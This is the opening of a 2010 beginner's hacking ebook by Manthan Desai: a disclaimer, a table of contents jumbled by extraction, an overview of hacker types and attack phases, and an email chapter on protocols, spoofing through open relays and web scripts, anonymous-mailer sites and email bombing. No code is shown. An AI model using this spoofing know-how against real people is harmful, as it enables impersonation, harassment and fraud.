text:
This action might not be possible to undo. Are you sure you want to continue?
Hacking For Beginners – Manthan Desai
Legal Disclaimer
Any proceedings and or activities related to the material contained within this book are exclusively your liability. The misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against any individuals by misusing the information in this book to break the law. This book contains material and resources that can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don't study this book. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using, or in any other way utilizing these resources. These materials and resources are for educational and research purposes only. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.
While using this book and reading various hacking tutorials, you agree to follow the below mentioned terms and conditions:
1. All the information provided in this book is for educational purposes only. The book author is no way responsible for any misuse of the information. 2. "Hacking for Beginners" is just a term that represents the name of the book and is not a book that provides any illegal information. "Hacking for Beginners" is a book related to Computer Security and not a book that promotes hacking/cracking/software piracy. 3. This book is totally meant for providing information on "Computer Security", "Computer Programming" and other related topics and is no way related towards the terms "CRACKING" or "HACKING" (Unethical). 4. Few articles (tutorials) in this book may contain the information related to "Hacking Passwords" or "Hacking Email Accounts" (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways of retrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is illegal. 5. The virus creation section in this book provides demonstration on coding simple viruses using high level programming languages. These viruses are simple ones and cause no serious damage to the computer. However we strongly insist that these information shall only be used to expand programming knowledge and not for causing malicious attacks. 6. All the information in this book is meant for developing Hacker Defense attitude among the readers and help preventing the hack attacks. "Hacking for Beginners" insists that this information shall not be used for causing any kind of damage directly or indirectly. However you may try these codes on your own computer at your own risk. 7. The word "Hack" or "Hacking" that is used in this book shall be regarded as "Ethical Hack" or "Ethical Hacking" respectively. 8. We believe only in White Hat Hacking. On the other hand we condemn Black Hat Hacking. 9. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are no way related to the term hacking. 10. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are not responsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.
Page 2
Hacking For Beginners – Manthan Desai
About the Author
Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer. An ethical hacker and a freelance web designer is famous for his website Hacking Tech (www.hackingtech.co.tv) which is ranked 2nd in the ucoz.com web hosting servers for security field. Manthan is indeed a writer on the internet through his website. Over 10,000 visits have been incurred on his website and on the increase day by day. Manthan is currently perusing his bachelor's degree in computer science engineering and is working as and information security consultant and web designer. He is providing the services like Ethical hacking training and workshops, website Development and maintenance, security consultant, graphic designing for website. The one and the only quote that Manthan uses while his ethical hacking is "Hack it and Have it."
To Know More about the Author Please Visit: www.manthandesai.co.cc
www.hackingtech.co.tv Page 3
Hacking For Beginners – Manthan Desai
Computer hacking is the practice of altering computer hardware and software to carry out a goal outside of the creator's original intention. People who slot in computer hacking actions and activities are often entitled as hackers. The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals and hackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligent people, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to secure credentials and secret information on the Internet. Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using your computer to send attacks against others. Now that thing have changed, it's best to be aware of how to defend your computer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizing computers around the world. This hacking is not only common, but is being executed without a flaw that the attackers compromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book you will uncover the finest ways to defend your computer systems from the hackers This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking, can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the best ethical hacking articles in this volume, covering every characteristic linked to computer security. After Reading this book you will come to recognize that how Hacking is affecting our every day routine work and can be very hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will be capable of understanding that how a hacker hacks and how you can defend yourself from these threats. So Take care of yourself and Defend Yourself By hacking the hacker and be safe after that. So If you know how to hack a hacker then you can know how to prevent the hacker.
"Hack It and Have It..."
- Manthan Desai (author)
Page 4
Hacking For Beginners – Manthan Desai
Book or volume "Hacking for Beginners" is tremendously complex to write, particularly without support of the Almighty GOD. I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I am more than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such great opportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stages of this book and helped me to complete this book and mentioned me new suggestion for the book. To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative and constructive role to build your life more secure and alert than ever before. Again Nothing but "Hack
It and Have It..."
- Manthan Desai
Page 5
… 33 Counter Measures of Windows Attack ………………………………………………………………………………………………………….……... 19 Email service protocols ………………………………………………………………………………………………………………………………. 23 Prevention from phishing …………………………………………………………………………………………………………………………. 30 Windows User Account Attack …………………………………………………………………………………………………………………......…17 2.. 15 Preventions from hacker ……………………………………………………………………………………………………………………... 28 Windows user account Architecture……………………………………………………………………………………………………………….…..co. 23 Phishing …………………………………………………………………………………………………………………………………………………….tv Page 6 .….hackingtech. 1.…………… 28 Security Architecture of Windows………………………………………………………………………………………………………………….…………………………………………………………….. 21 PHP Mail sending script …………………………………………………………………………………………………………………………….……… 19 How Email Works? ………………………………………………………………………………………………………………………………………...…..……....………………………………………………………………………………………. 26 Securing Your Email account ………………………………………………………………………………………………………………………….. 37 www..20 Email spoofing …………………………………………………………………………………………………………………………………………….… 15 Steps Performed by hackers ……………………………………………………………………………………………………………………….. 24 Keystroke loggers ……………………………………………………………………………………………………………………………………….……. 33 To hide a file behind a image ……………………………………………………………………………………………………. Email Hacking …………………………………………………………………………………………………………………….…..….. 12 What Is Hacking ……………………………………………………………………………. Windows Hacking and Security....….…. 13 Why hackers hack? ………………………………………………………………………………………………………………………………………. 22 Email Spamming ………………………………………………………………………………………………………………………………………….……. 12 Types of hacker ……………………………………………………………………………………………….………………………………………….Hacking For Beginners – Manthan Desai 2010 Index SECTION 1:.….. 29 Cracking Windows User Account password ………………………………………………………………………………………………….. 27 3. 24 Email Tracing ……………………………………………………………………………………………………………………………………………... 35 To run net user in Vista and Windows 7 ………………………………………………………………………………………………….….……………….…...….……..………..16 Working of an Ethical hacker ………………………………………………………………………………………………………………………….….The Theatrical concepts and Explanation. Concept of Ethical Hacking…………………………………………………………………………………………………………….… 34 Make a private folder…………………………………………………………………………………………………………………………………….
42 Knowing the Trojan ………………………………………………………………………………….…….…..…… 59 PHP Injection: Placing PHP backdoors …………………………………………………………………………………………………….. Wireless hacking ………………………………….… 55 Database Servers …………………………………………………………………………………………………………………………………...……………………………………………………………………………………………………………………………….……….…. 60 Directory Access controls …………………………………………………………………………………………………………………………….…. 45 Mode of Transmission for Trojans …………………………………………………………………………………………………………….………………………………………………………………………………. 67 www.tv Page 7 . 48 Countermeasures for Trojan attacks ………………………………………………………………………………………………………….…..…… 47 Detection and Removal of Trojans ……………………………………………………………………………………………………………….…….………………………………………………... 49 Attacks on Web servers ……………………………………………………………………………………………………………………………. 42 Different Types of Trojans ………………………………………………………………………………………………………………………....………………………………………………. 53 Cross Site Scripting (XSS) ……………………………………………………………………………………………………………………. 40 4....co.hackingtech..…………………………………………………………………. 48 5.Hacking For Beginners – Manthan Desai 2010 Brute Force Attack ………………………………………………………………………………………………………………………………………. 51 Protecting Your Files from Google ………………………………………………………………………………………………………………..…………………….… 65 Services provided by Wireless Networks ……………………………………………………………………………………………………….… 54 Directory Traversal Attack …………………………………………………………………………………………………………….. 65 Wireless Standards …….….……………. 50 Web Ripping …………………………………………………………………………………………………………………………………………….….……….……….…….....…. 49 The Basic Process: How Web servers work ……………………………………………………………………………………………...………….………….…………………..………………………………………………………………………….….…..…. 62 How Attackers Hide Them While Attacking ……………………………………………………………………………………………. 39 Counter Measures for Windows Attack …………………………………………………………………………………..… 50 Google Hacking …………………………………………………………………………………………………………………………………………..…… 58 Input validation on the SQL Injection ……………………………………………………………………………….……….………. Trojans in Brief ………………………………………………………………………………………………….…..………………………. 57 Login Process on the websites …………………………………………………………………………………………………. 49 Introduction to Web Servers. 62 Types of Proxy Servers ……………………………………………………………………………………………………………………………….….… 38 Rainbow table attack …………………………………………………………………………………………………………….. Attacks on web servers and Security ……….………………….….. 58 SQL injection …………………………………………………………………………………………………………………………………………….………. 43 Components of Trojans ………………………………………………………………………………………………………………….….… 63 6..
.....78 Why Information gathering? ………………………………………………………………………………………………………………………….………………….….………………………….72 What Does It Involve ……………………………………………………………………………………………………………………………...…..………………………………………………………………………….co.….……………………………………....….…….……....…………. Linux Hacking...………....... 70 Countermeasures for Wireless attacks ……………………………………………………………………………………………………...….….. 85 Scanning Networks …………………………………………………………………………………………………………………………………..…………………….…… 88 Linux Tools: Security Testing tools ………………………………………………………………………………….….…..…. 87 SARA (Security Auditor's Research Assistant) …………………………………………………………………………………………….. 83 10.……………………………………….…….. Sniffers ………………………………………………. 86 Hacking tool Nmap …………………………………………………………………………………………………………………………………….….….…………………………………………………………….………...….……. Information gathering and Scanning ……………………………………………………………………………….….…. 79 Detecting 'live' systems on target network ……………………………………………………………………………………………..………………….… 69 Wireless attacks ………………………………………………………………………………………………………………………………………. 78 Information Gathering Using Search Engine …………………………………………………………………………………………….Hacking For Beginners – Manthan Desai 2010 MAC address filtering ….……..…..…… 74 SMS Forging …………………………………………………………………………………………………………………………………………………… 75 Bluesnarfing ………………………………………………………………………………………………………………………………………………..… 85 Why Linux?.. 69 MAC spoofing ………………………………………………………………………………………………………………………………………...….… 82 What are Sniffers ? …………………………………………………………………………………………………………………. 83 Ant Sniff ……………………………………………………………………………………………………………………………….………………………………………………………………………………………………………………………………….tv Page 8 .…………. 70 WEP cracking …………………………………………………………………………………………………………………………………………….….……… 81 War diallers ………………………………………………………………………………………………………………………………………………. Mobile Hacking – SMS & Call forging……………………………………………………………………………. 82 Defeating Sniffers………………………………………………………………………………………………………………….. 71 7.. 90 www.. 88 Linux Root kits …………………………………………………………………………………………………………………………………………....………….hackingtech. 76 8.. 68 WEP key encryption ……………………………………………………………………………………………………………………………………..…………………………………………………………………………………………………………………………….…. 90 Linux Security Countermeasures ……………………………………………………………………. 72 Call Spoofing / Forging ……………………………………………………………………………………………………………………….…. 78 Reverse IP mapping ………………………………………………………………………………………………………………………………….… 81 9. 87 Password cracking in Linux ……………………………………………………………………………………………………………………….…….…..……………………..
………….. Beware of common Internet Scams and Frauds …………………………………………………………………………........... 108 10.………………..... 118 14....... 12 Security tips for online shopping ………………………………………………………………………………………………... How To fix corrupted XP files ……………....…………………………………………............….. XSS vulnerability found on You Tube explained …………………………………………... 93 2. 143 26..hackingtech. 129 19....……....….. What is Steganography? ……………………………………………………………………………………………………………………….... 12 Tips to maintain a virus free PC………………………………………………………………………………………………………….… 121 16.. 103 8...… 94 3...... 133 20. How to Chat with your friends using MS-DOS ……………………………………………………….tv Page 9 ..…........ Hack facebook account using facebook hacker ……………………………………………………………………………. 140 24.....………... How to check if Your Gmail account is hacked or not ………………………………………………………………………….....…… 100 6.…………… 137 22..... Delete an "Undeletable" File / Folder ……………………………………………………………………………………………………….. What Is MD5 Hash & How to Use It? ………………………………………………………………………………………………………....………………….. What to do when your Orkut account is hacked…………………………………………………………………………………......……........ 147 27. How to change your IP address ………………………………………………………………………………………………………………….... What is Phishing and Its Demo ………………………………………………………………………………………………………………. How to view hidden passwords behind asterisk (********) ……………………………………………………………......……………... 142 25... How a 'Denial of service' attack works ……………………………………………………………………………………………………. WEP cracking using Airo Wizard……………………………………………………………………………………………………….……………......……….... 10 Tips for Total Online Security……………………………………………………………………………………………………………….…. 154 www... 127 18..... 151 28.. Hacking Orkut Account Using Cookie Stealing ………………………………………………………………………………..co....Hacking For Beginners – Manthan Desai SECTION 2:... What Are Key loggers ?..………………….……….. How to remove New Folder virus ………………………………………………………………………………………....……….....…… 134 21.........…...... Internet connection cut-off in LAN/Wi-Fi ………………………………………………………………………....... Get Orkut Scraps on Mobile for free using Google SMS Channel!........………………………………………………………………………………………………………… 95 4.......… 138 23...………… 113 12........... 106 9.………. 96 5... 116 13. 101 7. 124 17.... Making a computer virus ……………………………………………………………………………………………………………………... How to Check The email is original or Not ………………………………………………………………………………………......... 120 15. SQL injection for website hacking……………………………………………………………………………………………………………......... 110 11............. Mobile hack to call your friends From their own Number …………………………………………………….The Tutorial based hacks and explaination as online.. Tab Napping A New Phishing Attack …………………………………………………………………………………………….. 2010 1........
The complete History of hacking …………………………………………………………………………………………………………….co.Hacking For Beginners – Manthan Desai 2010 29..…. Windows PowerShell Security in Brief………………………………………………………………………………………………………. 157 30. What is Secure Sockets Layers (SSL)? ………………………………………………………………………………………………………. Hack a website by Remote File Inclusion …………………………………………………………………………………………………. How to watch security cameras on internet ………………………………………………………………………………………. Nice List of Windows Shortcuts ………………………………………………………………………………………………………………….…………. 220 45. 5 Tips to secure your Wi-Fi a connection …………………………………………………………………………………………………. How to create a CON folder in Windows …………………………………………………………………………………………………… 192 35. 211 43. What is CAPTCHA and how it works?……………………………………………………………………………………………………. 216 44. 209 42. Making a Trojan using Beast 2. 203 39. How to find serial numbers on Google ………………………………………………………………………………………………………. Hacking yahoo messenger for multi login ………………………………………………………………………………………………… 228 47. Disguise as Google Bot to view Hidden Content of a Website …………………………………………………………………… 201 38.06……………………………………………………………………………………………………………… 222 46. 231 50. 229 48. 159 31. Upgrade Windows 7 to any higher version ……………………………………………………………………………………………… 230 49. World's top 10 internet hackers of all time ………………………………………………………………………………………. 185 33... 207 41..…….. Hack Password of any Operating System ……………………………………………………………………………………..tv Page 10 . How to use Kaspersky for Lifetime without Patch ……………………………………………………………………………………… 200 37. 10 Reasons why PC's crash you must know………………………………………………………………………………………………… 195 36..……. 191 34. Make a Private folder With your password ……………………………………………………………………………………………….hackingtech... List of PC file Extensions……………………………………………………………………………………………………………………………. 205 40. 161 32.. Hacking Deep Freeze …………………………………………………………………………………………………………………………………. How to Download Facebook videos …………………………………………………………………………………………………………. 238 www.
www.co.tv Page 11 .Hacking For Beginners – Manthan Desai 2010 The Theatrical concepts and Explanation.hackingtech.
Hacking has a lot of meanings depending upon the person's knowledge and his work intentions. often making other people's life miserable. these criminals are Crackers as Criminal Hackers. This is very untrue and is an insult to some of our most talented Hackers.tv Page 12 . it's easy to describe the typical Hacker. Pimple-faced Teenage boy. Not all Hackers are Antisocial. a Hacker is someone who likes to play with Software or Electronic Systems. Hackers www. Delete and Steal critical information. Hacker vs. They Modify. We agree that there are people out there who use hacking techniques to break the law. Only a few Hackers. Hacking is an Art as well as a Skill. Hackers are curious about Knowing new things. The best broad description of Hackers is that all Hackers aren't equal. They love discovering new ways to work electronically. So the public now believe that a Hacker is someone who breaks into computer systems and steal confidential data. There are various points to determine the difference between Hackers and crackers Definition . But the Digital world has many types of Hackers. unique individuals. Crackers break into systems with malicious intentions. hacking is more about following the law and performing the steps within the limits. Hackers are programmers. In a world of Black and White. such as Kevin Mitnick. Hacker Hacker is a word that has two meanings: Traditionally.hackingtech. Recently. We have started to hear more and more about hacking. Profit and even Revenge.Hacking For Beginners – Manthan Desai 2010 1.co. Concept of Ethical Hacking Hacking The Art of exploring various security breaches is termed as Hacking. Methods and Skills. Hackers obtain advanced knowledge of operating systems and programming languages. Most people associate Hacking with breaking law. Hacking is the knowledge by which one gets to achieve his Goals. Hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gain. therefore calling all those guys who engage in hacking activities to be criminals. They do it for Personal gain. But some general characteristics can help you understand them. In fact. Since the Internet became widely used in the World. Pimplefaced Teenagers. so an exact profile is hard to outline. are well known. Cracker What Is the Difference Between a Hacker and a Cracker? Many articles have been written about the difference between Hackers and crackers. Most often. anyhow. media has applied the word Hacker when it really means Cracker. Hackers enjoy Exploring and Learning how Computer systems operate. Fame. For many years. Each Hacker has Motives. therefore. Regardless. A general outline of a typical Hacker is an Antisocial. Technically. Hackers are human like the rest of us and are. Brave to take steps and they are often very Sharp Minded. using his Skills and Power. which attempt to correct public misconceptions about hacking.A Hacker is a person who is interested in the working of any computer Operating system. Computer Hackers have been around for so many years. but hacking is not really about that. They may know various security holes within systems and the reasons for such holes.
Crackers gain unauthorized access.hackingtech. share what they have discovered. Admins Admins are the computer guys who use the tools and exploits prepared by the coders. Some Hackers barely know how to surf the Internet.Hacking For Beginners – Manthan Desai 2010 constantly seek further knowledge. regardless of age. anyone can become a Hacker. Many malicious Hackers are electronic thieves. They are generally System Administration. A majority of Security Consultants fall in this group and work as a part of Security Team. Types of Hackers on the basis of activities performed by them. Admins have experience with several operating systems. with malicious intentions. and know how to exploit several existing vulnerabilities. Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and Networks. Just like anyone can become a thief. Even though these guys are the teenage Hackers that you hear about in the news media. Most of the Hackers and security person in this digital world come under this category.tv Page 13 . Crackers can easily be identified because their actions are malicious. most people give Hacker a negative outline. Types of Hacker Let's see the categories of Hackers on the basis on their knowledge. stop services provided by the server. whereas others write software that other Hackers depend upon. They are the new generation of users of computer who take advantage of the Hacker tools and documentation available for free on the Internet but don't have any knowledge of what's going on behind the scenes. or Computer Network Controller. www. or a robber. Technical skills of Hackers vary from one to another. Coders can find security holes and weaknesses in software to create their own exploits. Whatever the case. leaving all sorts of digital fingerprints behind.A Cracker is a person who breaks into other people systems. These are the individuals with a deep understanding of the OSI Layer Model and TCP/IP Stacks. or religion. however they uses the tricks which are already prepared by the coders. gender. Coders The Real Hackers are the Coders. They get the least respect but are most annoying and dangerous and can cause big problems without actually knowing what they are doing. These Hackers can use those exploits to develop fully patched and secure systems. or basically cause problems for their targets. the ones who revise the methods and create tools that are available in the market. destroy important data.co. and they never have intentions about damaging or stealing data. Script Kiddies Next and the most dangerous class of Hackers is Script kiddies. Coders are the programmers who have the ability to find the unique vulnerability in existing software and to create working exploit codes. they need minimum skills to carry out their attacks. They know just enough to cause you headaches but typically are very sloppy in their actions. They do not develop their own techniques. Definition .
These are the Criminal Hackers or Crackers who use their skills and knowledge for illegal or malicious purposes. www. Grey Hat Hacker A Grey Hat Hacker is a Computer guy who sometimes acts legally. They usually do not hack for personal gain or have malicious intentions. They crash critical systems or steal classified government information. but may or may not occasionally commit crimes during the course of their technological exploits. These are also known as an Unethical Hacker or a Security Cracker.tv Page 14 . Hactivism Another type of Hackers are Hacktivists.Hacking For Beginners – Manthan Desai 2010 White Hat Hacker A White Hat Hacker is computer guy who perform Ethical Hacking. They are hybrid between White Hat and Black Hat Hackers. such as power stations and air-traffic-control towers. A Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were defaced with the Jihad messages in the name of Terrorism. Technically Ethical Hacking means penetration testing which is focused on Securing and Protecting IT Systems. sometimes in good will. Black Hat Hacker A Black Hat Hacker is computer guy who performs Unethical Hacking. While in a conflict with enemy countries some government start Cyber war via Internet. and sometimes not. They focus on Securing and Protecting IT Systems. with malicious intent. Cyber Terrorist There are Hackers who are called Cyber Terrorists.co. They are also known as an Ethical Hacker or a Penetration Tester.hackingtech. Ethical Hacking Ethical Hacking is testing the resources for a good cause and for the betterment of technology. They break into or otherwise violate the system integrity of remote machines. They focus on Security Cracking and Data stealing. who attack government computers or public utility infrastructures. who try to broadcast political or social messages through their work. These are usually security professionals with knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and implement counter measures in the resources.
The intent of Ethical Hacking is to discover vulnerabilities from a Hacker's viewpoint so systems can be better secured. and corporate work pressure. You can't. while the attacking Hackers develop bypassing techniques. Many Hackers say they do not hack to harm or profit through their bad activities.co. Prevention from Hackers What can be done to prevent Hackers from finding new holes in software and exploiting them? Information security research teams exist—to try to find these holes and notify vendors before they are exploited. Ethical Hackers perform the hacks as security tests computer systems. This competition provides us with better and stronger security.hackingtech. which helps them justify their work. as it produces smarter people.tv Page 15 . Defending Hackers create Detection Systems to track attacking Hackers. and even a new economy. challenge. but with one major difference: Ethical hacking is Legal. Some common motives of malicious Hackers are revenge. Ethical hacking is performed with the target's permission. The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction. mindset. extortion. Some Hackers want to make your life miserable. As Hackers expand their knowledge. www. An Ethical Hacker possesses the skills. and tools of a Hacker but is also trustworthy. They often do not look for money full of pocket. There is a beneficial competition occurring between the Hackers securing systems and the Hackers breaking into those systems. and others simply want to be famous. blackmail. Tricks and Techniques that Hackers use. The only protection against everything is to unplug your computer systems and lock them away so no one can touch them—not even you. You. Ethical hacking can also ensure that vendors' claims about the security of their products are legitimate. which are eventually resulted in bigger and better detecting and tracking systems. theft for financial gain. The net result of this interaction is positive. inventive problem-solving techniques. curiosity. must know activities Hackers carry out and how to stop their efforts. You should know what to look for and how to use that information to thwart Hackers' efforts. boredom. improved security. as well as more complex and sophisticated attack techniques. Ethical Hacking is part of an overall information Risk Management program that allows for ongoing security improvements. They try to bring down the status of the organization by attacking or stealing information. You must think like them to protect your systems from them. Hacking is a casual hobby for some Hackers — they just hack to see what they can hack and what they can't hack. Just proving a point is often a good enough reward for them. usually by testing their own systems. so should you. Many Hackers are the guys who get kicked out of corporate and government IT and security organizations. as the ethical Hacker. Ethical Hacking — also known as Penetration Testing or White-Hat Hacking —involves the same Tools. more stable software.Hacking For Beginners – Manthan Desai 2010 Why Hackers Hack? The main reason why Hackers hack is because they can hack. "The Ethical Hackers". Now when you need protection from Hackers. whom you want to call. You don't have to protect your systems from everything.
gather. or offline. Scanning involves steps such as intelligent system port scanning which is used to determine open ports and vulnerable services. However in Ethical Hacking. the Internet. It's impossible to overcome all possible vulnerabilities of your systems. During a real security breach it would be this stage where the Hacker can utilize simple techniques to cause irreparable damage to the target system. Phase II: Scanning and Enumeration Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the information discovered during reconnaissance and using it to examine the network. Phase III: Gaining Access This is the phase where the real hacking takes place. identify. www. Vulnerabilities discovered during the reconnaissance and scanning phase are now exploited to gain access. and record information about the target. What's important is to protect your systems from known Vulnerabilities and common Hacker attacks. These are the attacks which are not known to the world.tv Page 16 . The method of connection the Hacker uses for an exploit can be a local area network.hackingtech.Hacking For Beginners – Manthan Desai 2010 That's not the best approach to information security. local access to a PC.co. Gaining access is known in the Hacker world as owning the system. You can't plan for all possible attacks — especially the ones that are currently unknown which are called Zero Day Exploits. In this stage the attacker can use different automated tools to discover system vulnerabilities. The Hacker seeks to find out as much information as possible about the target. Steps Performed By hackers 1) Reconnaissance 2) Scanning 3) Gaining Access 4) Maintaining Access 5) Clearing Tracks • Performing Reconnaissance • Scanning and Enumeration • Gaining access • Maintaining access and Placing Backdoors • Covering tracks or Clearing Logs Phase I: Reconnaissance Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate. the more combinations you try — the more you test whole systems instead of individual units — the better your chances of discovering vulnerabilities.
A Hacker in your network or an employee looking over your shoulder may watch what's going on. These testers have not read the documentation or misunderstand the usage and power of the security tools and techniques. The misuse of information is absolutely not allowed. You can easily create miserable conditions on your systems when testing. This person www. Sometimes. and Trojans. No hidden agendas are allowed! Trustworthiness is the ultimate objective. Not crashing your systems: One of the biggest mistakes is when people try to hack their own systems. All information you obtain during your testing — from Web application log files to clear-text passwords — must be kept private. The attacker can use automated scripts and automated tools for hiding attack evidence and also to create backdoors for further attack. The main reason for this is poor planning. Working of an ethical hacker Obeying the Ethical Hacking Commandments: Every Ethical Hacker must follow few basic principles. That's what the bad guys do. to remove evidence of hacking. many successful security breaches are made but never detected. they cover their tracks to avoid detection by security personnel. Phase V: Clearing Tracks In this phase. once Hackers have been able to gain and maintain access. Most of the time these principles get ignored or forgotten when planning or executing ethical hacking tests. Hackers harden the system from other Hackers or security personnel by securing their exclusive access with Backdoors.co.Hacking For Beginners – Manthan Desai Phase IV: Maintaining Access and Placing Backdoors 2010 Once a Hacker has gained access. everything you do as an ethical Hacker must be approved and must support the company's goals. Working ethically: The word ethical can be defined as working with high professional morals and principles. bad things can happen.tv Page 17 . Root kits. Respecting privacy: Treat the information you gather with complete respect. Many security assessment tools can control how many tests are performed on a system at the same time. If he do not follow. Executing the plan: In Ethical hacking. they want to keep that access for future exploitation and attacks. they come up with crashing their systems. Be careful when you're performing your ethical hacking tests. Time and patience are important. to continue to use the owned system. or to avoid legal action. At present. Whether you're performing ethical hacking tests against your own systems or for someone who has hired you. The results are even very dangerous.hackingtech. This includes cases where firewalls and vigilant log checking were in place. These tools are especially handy if you need to run the tests on production systems during regular business hours. Running too many tests too quickly on a system causes many system lockups.
your computer and network system names.hackingtech. Find as much information as possible about your organization and systems. if you don't have a internal Web server running. However. It makes little sense to harden your systems from unlikely attacks. and your IP addresses. Google is a great place to start for this. It's not practical to make sure that no Hackers are on your systems before you start. This is especially critical when transmitting and storing your test results.co. You're now on a reconnaissance mission. Don't take ethical hacking too far. For instance. www. Just make sure you keep everything as quiet and private as possible.Hacking For Beginners – Manthan Desai 2010 could use this information against you. don't forget about insider threats from malicious employees or your friends or colleagues! "Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)". which is what malicious Hackers do. you may not have to worry too much about. though.tv Page 18 . Start with a broad view of mind and narrow your focus. Search the Internet for your organization's name.
in and click on Send and gets the message that the Email is sent successfully. XYZ then sits on computer and signs in to her Email account.tv Page 19 .in.in. he then writes a mail to the xyz@server2. Once the servers are ready to go. Now she has the message in her Email inbox. the Email from the computer of abc@server1. users from across the world register in to these Email servers and setup an Email account. When they have a fully working Email account.com.hackingtech. All Email service providers configure Email Server before anyone can Sign into his or her account and start communicating digitally. ABC is a registered user in Server1.com is forwarded to the Email server of Server1.Hacking For Beginners – Manthan Desai 2010 2. Email hacking How Email Works? Email sending and receiving is controlled by the Email servers.in for the account of XYZ. Server1 then looks for server2. Email Travelling Path Let's say we have two Email providers. www.com and XYZ is a registered user in Server2. they sign into their accounts and start connecting to other users using the Email services.in on the internet and forwards the Email of the server2.co.com and puts it in the account of XYZ.com and other is Server2. Server2.in receives the Email from server1. one is Server1.com. But what happens behind the curtains. ABC signs in to his Email account in Server1.
make yourself a tough target. It. too. There are so many attacks which are applied on Emails. It allows you to handle all your Email yourself without having to rely on an Internet service provider (ISP) to manage it. is a protocol that an Email client can use to download Email from an Email server.co. Hmailserver. IMAP shares many similar features with POP3. POP3 POP3 stands for Post Office Protocol. SMTP uses port 25. There are a lots of ways by which one can use your Email in wrong means. Attacker is not bothered about your data in the Email. Configuring an Email Server Email server software like Post cast Server. such as Outlook Express. SMTP is used when Email is delivered from an Email client. The POP3 protocol is simple and does not offer many features except for download. Compared to letting your ISP host your Email. deletes them from the server and then disconnects. www.tv Page 20 . i am sure that you would have come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn Emails where the owner of the Email does not anything about the sent Email. POP3 normally uses port 110. as all Emails are stored on the server. IMAP IMAP stands for Internet Message Access Protocol. You have to make sure that you are not an easy target for those people. If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in that Email account. HMailServer adds flexibility and security and gives you the full control over spam protection. etc can be used to convert your Desktop PC into an Email sending server. However. You have to secure your Email identity and profile. There are people who are the masters of these Email attacks and they always look for the innocent people who are not aware of these Email tricks and ready to get caught their trap.Hacking For Beginners – Manthan Desai 2010 Email Service Protocols SMTP SMTP stands for Simple Mail Transfer Protocol. IMAP requires more disk space on the server and more CPU resources than POP3. Its design assumes that the Email client downloads all available Email from the server. because you do not know if someone gets your Email id password and uses your Email to send a threatening Email to the Ministry or to the News Channels. to an Email server or when Email is delivered from one Email server to another. The IMAP protocol is designed to let users keep their Email on the server. He just wants an Email ID Victim which will be used in the attack. IMAP normally uses port 143. IMAP includes many more features than POP3. Email Security Now let's check how secure this fast mean of communication is. HMailServer is an Email server for Microsoft Windows. POP3 allows an Email client to download an Email from an Email server. Surge mail.hackingtech.
Distributors of spam often use spoofing in an attempt to get recipients to open. not just mail destined 'To' or 'Originating' from known users.co.info Deadfake.hackingtech.hackingtech. Methods to send fake Emails Open Relay Server Web Scripts Fake Emails: Open Relay Server An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows anyone on the Internet to send Email through it.net FakEmailer.tv Page 21 .name (Send attachments as well) FakEmailer. Some of Free Anonymous Email Websites are: Mail.tv/index/0-93 www. Fake Emails: via web script Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send Emails by programming Fake headers i. their solicitations. Most of them provide the free service.com www.co. Spoofing can be used legitimately. An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email. There are so many ways to send the Fake Emails even without knowing the password of the Email ID.Anonymizer." From: To: Subject:" There are so many websites available on the Internet which already contains these mail sending scripts. and possibly even respond to.Hacking For Beginners – Manthan Desai 2010 Email Spoofing Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or somewhere other than the actual source. The Internet is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel. Open Relay Email Server requires no password to send the Email.e.
Hacking For Beginners – Manthan Desai 2010 PHP Mail sending script Consequences of fake emails Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life behind the iron bars. Email Bombing Email Bombing is sending an Email message to a particular address at a specific victim site. www. Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend's to be in relationship.tv Page 22 .co. In many instances.hackingtech. There can be so many cases drafted on Fake Emails. increasing the denial of service impact. Multiple accounts at the target site may be abused. Proving a fake Email Every Email carry Header which has information about the Travelling Path of the Email Check the Header and Get the location from the Email was Sent Check if the Email was sent from any other Email Server or Website Headers carry the name of the Website on which the mail sending script was used. Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of. the messages will be large and constructed from meaningless data in an effort to consume additional system and network resources.
